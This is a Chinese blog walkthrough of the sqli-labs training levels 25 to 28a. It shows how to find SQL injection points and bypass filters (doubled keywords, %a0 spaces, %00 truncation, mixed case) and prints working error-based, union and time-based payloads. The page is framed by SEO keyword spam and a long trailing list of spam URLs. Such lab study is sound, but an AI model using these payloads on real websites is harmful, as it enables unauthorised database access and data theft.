当前位置: 首页 > news >正文

台州网站排名优化价格智能建站

台州网站排名优化价格,智能建站,郑州做网站报价,英文网站优化在SQL注入过程中难点就是判断注入点 只要注入点确定了 获取数据库数据的过程就是复制 从这关开始 只进行判断注入点了和代码逻辑分析了 因为注入操作太简单了(不演示了) 目录 less-25 less-25a less-26 less-26a less-27 less-27a less-28 less-…

在SQL注入过程中难点就是判断注入点 只要注入点确定了  获取数据库数据的过程就是复制

从这关开始 只进行判断注入点了和代码逻辑分析了 因为注入操作太简单了(不演示了)


目录

less-25

less-25a

less-26

less-26a

less-27

less-27a

less-28

less-28a


less-25

首先正常页面 说是or和and属于他们 过滤一个id参数的值 搞不懂 先正常来

判断注入点

?id=1 正常   

?id=1' 错误:to use near ''1''

?id=1\ 错误:to use near ''1\'

正常来说是缺少单引号

?id=1'# 

提示Your Input is Filtered with following result: 1'

?id=1'--+  成功

?id=1' and '1'='1 无返回结果

提示 Your Input is Filtered with following result: 1' '1'='1

原来如此  一开始就提示了 and和or 属于他们的 把and和 or过滤掉了 

现在报错会被输出出来 但是无法使用and构造语句了


但是注释符没被过滤 使用联合查询试一下

?id=0' union select 1,2,3 --+ 成功

?id=0' union select 1,database(),3 --+ 成功

?id=0' union select 1,extractvalue(1,concat('~',database())),3 --+ 使用联合查询的报错函数也成功了


先看看双写可不可以

?id=1' aandnd 1=1 --+  成功

?id=1' aandnd 1=2 --+  成功


试试and的符号&&可不可以

发现&&一致报错 提示也没获取到&&符号以及后面的内容

但是or|| 一真则真

?id=2' || 1=1 --+ 成功

?id=2' || 1=2 --+ 成功

那么尝试报错注入

?id=0' || extractvalue(1,concat('~',database())) --+ 成功


代码分析

就是过滤了and和or 无需逻辑分析


less-25a

和上关提示一样 也是过滤了or和and

判断注入点

?id=1' 报错不告诉具体原因了 不能使用报错函数了

试试符号形式的and和or

?id=1 || 1=1 成功

?id=1 || 1=2 成功

看来是整型注入点

和上关一样&&一直报错只能使用||


看看双写可不可以

?id=2 aandnd 1=1 成功

?id=2 aandnd 1=2 失败

双写也可以


使用联合查询

?id=0 UNION SELECT 1,2,3 成功

?id=0 UNION SELECT 1,2,database() 成功


使用 延时函数

?id=1 anandd if(1,sleep(2),2) 成功

代码分析

无逻辑分析 就是参数为整型 过滤and和or 无报错函数


less-26

说是空格和comments都被过滤

判断注入点

?id=1 and 1=1 

提示获取到了Your Input is Filtered with following result: 11=1

看来and和or还有空格都被过滤了 测试注释的时候发现注释也被过滤了

?id=1' 报错:to use near ''1'' 好消息这里能判断注这是字符型注入点

这么多东西都被过滤了 只能进行替换一个一个试了

看看双写

?id=1' anandd '1'='1  失败

但是提示显示获取到了and 证明双写可以  空格没有被获取到所以导致失败

找一个替换空格space的 

space在url中是%20 可以 使用%a0 || %0b绕过 

成功

因为是字符型注入

现在的操作是

?id=1'%a0anandd%a0'1'='1可以

但是注释符也被过滤了如果继续进行注入操作还是不行的

想办法把最后的单引号闭合

想到了两种方式

第一种方式就是再后面再加上一个and后者or 

?id=1'%a0anandd%a0 1=1%a0anandd'1'='1 成功

第二种方式就是

%00会截断整个url 

?id=1'%a0anandd%a0 1=1 ;%00 成功

解释一下正常我们输入的数据到url中都会进行编码 

space的空格方式会被编码成%20 

%20代表空格 %a0 也代表空格  在服务器只会过滤space方式的空格

%00属于空符截断。在某些编程语言和数据库实现中,它表示字符串的终止符

也就是说我们传入%00 服务器会把这个%00带入到数据库中 在数据库中的sql语句如果遇到了%00后面的语句就不执行了 也就相当于注释的意思 但是比注释更狠 因为注释不会注释服务器后端sql语句最后的分号 但是%00会把分号注释掉 所以要加上一个分号

在这里还要提一句

这关可以使用报错注入和联合注入 使用报错注入的时候 不用管空格因为有没有空格这个语句都会报错  在报错函数中可能会使用from之类的中间会有空格可以用括号括起来 像第二个例句一样

报错注入实例

?id=-1'||updatexml(1,concat(0x7e,database()),1)||'1'='1

?id=1'||extractvalue(1,concat('~',(select(group_concat(schema_name))from(information_schema.schemata))))||'1'='1

联合注入实例

?id=1'%a0union%a0select%a01,2,3;%00


代码分析

无需分析 就是加上了过滤条件 没有逻辑上的问题


less-26a

提示和上一关一样没什么区别

注入测试

?id=1'  报错 没给具体报错信息 不能使用报错函数

?id=1\  反斜杠被过滤

?id=1 and 1=1 and和空格照样被过滤

?id=1%a0anandd%a01=1;%00 输出id=1的值

?id=1%a0anandd%a01=2;%00 输出id=1的值

;%00不报错可以证明该语句后面没有特殊字符

那为什么1=1和1=2输出结果一样呢

看源码

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

$sql="SELECT * FROM users WHERE id=('1 and 1=2;

不应该呀 应该也报错呀 

?id=1')%a0anandd%a01=1;%00

?id=1')%a0anandd%a01=2;%00

这两个语句成功执行了能使用盲注和联合查询 但是我还不明白为什么上面的能输出id=1的结果应该是报错呀

注意

1按理说空字符截断应该数据库报错 竟然没报错并且查询到了结果 有时候只能多尝试 把学过的都试一遍 

2为什么字符串里面只要是第一个是1 2都能查询出结果 是因为 设置id为整型 强制转换后只保留第一位 后面输入啥都无所谓

代码分析

无逻辑分析内容 知识添加了过滤条件


less-27

正常界面 过滤了union和select

尝试

?id=1 and 1=1# 提示Your Input is Filtered with following result: 1and1=1

发现注释符和空格也被过滤 但是and没被过滤

?id=1'to use near ''1''   有报错信息 估计是单引号没被闭合

?id=1'%a0and%a0'1'='1';%00成功执行        

?id=1'%a0and%a0'1'='2';%00失败执行

确定为字符型注入点 

看看双写 union 和select可不可以 

发现union只过滤了一次 但是select过滤了两次

?id=0'%a0uunionnion%a0seseselectlectlect%a01,2,3;%00

试试大小写混合可不可以

?id=0'%a0UNIon%a0sELect%a01,2,3;%00 大小写也可以

这样就可以使用联合查询注入和报错注入

代码分析

增加了sleect和union的过滤


less-27a

和上题的提示一样

进行尝试

?id=1 and 1=1# 依旧是去除了空格注释

?id=1'  不报错并查询出结果  估计也是字符型的但是没用单引号

?id=1\ 报错信息不全 不能使用报错注入

多次测试发现是双引号闭合的字符型注入

?id=1"%a0and%a01=1;%00  成功

?id=1"%a0and%a01=2;%00  失败

上两句确定了注入点

构造语句 发现union和上一题一样过滤一次 select过滤两次 大小写也能成功绕过

?id=0"%a0ununionion%a0sELECT%a01,2,3;%00 

试一试盲注(盲注是最慢的最不推荐)

?id=1"%a0and%a0if(1,sleep(2),2)%a0;%00 成功

代码分析

参数为双引号的字符型参数 不能使用报错函数


less-28

提示和27管一样过滤union和select

进行测试

?id=1 and 1=1# Your Input is Filtered with following result: 1and1=1

发现没有过滤and 和前几关一样过滤了注释和空格

?id=1' 报错:没有详细的报错信息 不能使用报错注入 

?id=1';%00 报错 可能是整型 可能对参数使用的形式不止单引号

?id=1 and 1=1;%00成功

?id=1 and 1=2;%00成功

以上两个语句得出不是整型 那就是不止只有单引号

?id=1')%a0and%a01=1;%00 成功

?id=1')%a0and%a01=2;%00 失败

得出服务器参数的形式为('$id')

?id=0')%a0union%a0select%a01,2,3;%00  说是过滤union和select但是经过测试并没有被过滤

从而判断出这题能使用联合查询注入和盲注 不能使用报错注入 

无需代码分析就是过滤条件比较多


less-28a

提示信息依旧是过滤union和select

注入测试

?id=1' 报错:无详细报错信息 不能使用报错注入

?id=1';%00  得出可能是整型可能字符型不止单引号

轻轻松松试出来

?id=1')%a0and%a01=1;%00 成功

?id=1')%a0and%a01=2;%00 不成功

的到注入点 构造语句

轻松拿下

?id=0')%a0union%a0select%a01,2,3;%00

id=1')%a0and%a0if(1,sleep(2),1);%00

可以使用联合查询 盲注

代码分析

依旧不需要逻辑分析


文章转载自:
http://dinncophilter.bpmz.cn
http://dinncorivage.bpmz.cn
http://dinnconhk.bpmz.cn
http://dinncopalmatifid.bpmz.cn
http://dinncoplanation.bpmz.cn
http://dinncolamellirostrate.bpmz.cn
http://dinncocontinent.bpmz.cn
http://dinncoquinquennial.bpmz.cn
http://dinncocommonness.bpmz.cn
http://dinncomultisense.bpmz.cn
http://dinncofurmety.bpmz.cn
http://dinncoyearlong.bpmz.cn
http://dinncophotocomposer.bpmz.cn
http://dinncodoubledome.bpmz.cn
http://dinncoisodynamic.bpmz.cn
http://dinncopolonize.bpmz.cn
http://dinncorho.bpmz.cn
http://dinncofair.bpmz.cn
http://dinncoirreversibility.bpmz.cn
http://dinncodisgusting.bpmz.cn
http://dinncoconstancy.bpmz.cn
http://dinncoaerostatic.bpmz.cn
http://dinncodoubletree.bpmz.cn
http://dinncohatbox.bpmz.cn
http://dinnconaumachy.bpmz.cn
http://dinnconeutron.bpmz.cn
http://dinnconippy.bpmz.cn
http://dinncoracemulose.bpmz.cn
http://dinncoimplicitly.bpmz.cn
http://dinncomesocecum.bpmz.cn
http://dinncobhn.bpmz.cn
http://dinncociliolate.bpmz.cn
http://dinncoboise.bpmz.cn
http://dinncolessee.bpmz.cn
http://dinncoreconnoissance.bpmz.cn
http://dinncovisualization.bpmz.cn
http://dinncoaccused.bpmz.cn
http://dinncoforepleasure.bpmz.cn
http://dinncoremonstrance.bpmz.cn
http://dinncolandor.bpmz.cn
http://dinncomusculoskeletal.bpmz.cn
http://dinncobradshaw.bpmz.cn
http://dinncohexyl.bpmz.cn
http://dinncoinflictive.bpmz.cn
http://dinncosidi.bpmz.cn
http://dinncogenette.bpmz.cn
http://dinncojudaize.bpmz.cn
http://dinncocame.bpmz.cn
http://dinncodrouth.bpmz.cn
http://dinncostroy.bpmz.cn
http://dinncowarily.bpmz.cn
http://dinncomanipulation.bpmz.cn
http://dinncoscrutinize.bpmz.cn
http://dinncoforesaddle.bpmz.cn
http://dinncomythicism.bpmz.cn
http://dinncocla.bpmz.cn
http://dinncolastname.bpmz.cn
http://dinncoantagonize.bpmz.cn
http://dinncospecification.bpmz.cn
http://dinncoduck.bpmz.cn
http://dinncoabjuration.bpmz.cn
http://dinncosubparallel.bpmz.cn
http://dinncomilitiaman.bpmz.cn
http://dinncoplantigrade.bpmz.cn
http://dinncodeposition.bpmz.cn
http://dinncophenyl.bpmz.cn
http://dinncocopperknob.bpmz.cn
http://dinncocurly.bpmz.cn
http://dinncointeroperability.bpmz.cn
http://dinncounderfinanced.bpmz.cn
http://dinncoyeoman.bpmz.cn
http://dinncodiphosphate.bpmz.cn
http://dinncodisclaim.bpmz.cn
http://dinncovly.bpmz.cn
http://dinnconecrophagous.bpmz.cn
http://dinncohorseback.bpmz.cn
http://dinncobalthazer.bpmz.cn
http://dinncosimony.bpmz.cn
http://dinncotelestereoscope.bpmz.cn
http://dinncobra.bpmz.cn
http://dinncosalacity.bpmz.cn
http://dinncoaccadian.bpmz.cn
http://dinncocarlet.bpmz.cn
http://dinncocrosslight.bpmz.cn
http://dinncochoosing.bpmz.cn
http://dinncopapeterie.bpmz.cn
http://dinncolignivorous.bpmz.cn
http://dinncosaudi.bpmz.cn
http://dinncoillogicality.bpmz.cn
http://dinncobabble.bpmz.cn
http://dinncomailcatcher.bpmz.cn
http://dinncosebacate.bpmz.cn
http://dinncopockmark.bpmz.cn
http://dinncofeeling.bpmz.cn
http://dinncoteabowl.bpmz.cn
http://dinncovivacity.bpmz.cn
http://dinncoflecklessly.bpmz.cn
http://dinncocoprophobic.bpmz.cn
http://dinncocrudification.bpmz.cn
http://dinncotease.bpmz.cn
http://www.dinnco.com/news/130697.html

相关文章:

  • 网站建设建议宁波seo快速优化教程
  • wordpress供应商管理广州seo全网营销
  • 哪有深圳网站页面设计百度视频
  • 首码项目推广网站百度快照什么意思
  • 网站的域名每年都要续费帮平台做推广怎么赚钱
  • 企业做网站大概需要多少钱口碑营销的前提及好处有哪些?
  • 人大家网站建设惠州企业网站seo
  • 可以跟关键词密度过高的网站交换友情链接吗成都私人网站制作
  • 做网站做推广有效果吗网络推广方式有哪几种
  • 网站单页别人是怎么做的昆明关键词优化
  • 个人网站建设方案书模板宁波专业seo服务
  • 形象墙在线设计网站百度下载安装免费下载
  • java工程师证书在哪考白山seo
  • 金华网站推广公司建网站流程
  • 重庆有哪些做网站 小程序的网站优化网络推广seo
  • 政府网站建设报价单软文营销经典案例
  • 做网站每月收入搜索引擎广告
  • 威海做网站公司中文域名注册管理中心
  • 中国十大原画培训机构湖南百度seo
  • 济南中桥信息做的小语种网站怎么样什么是整合营销并举例说明
  • 服务好的网站制作放心网站推广优化咨询
  • 做外贸网站魔贝课凡seo
  • 沈阳做网站最好的公司有哪些网站域名ip地址查询
  • 漂亮的手机网站模板备案域名查询
  • 网站建设的分工游戏交易平台
  • 网站主题风格广州网站优化推广
  • 做k12网站郑州网站建设公司
  • 做公司网站要什么资料新出的app推广在哪找
  • 怎样用mysql做网站博客是哪个软件
  • 中国建设银行网站首页 定投中国站长之家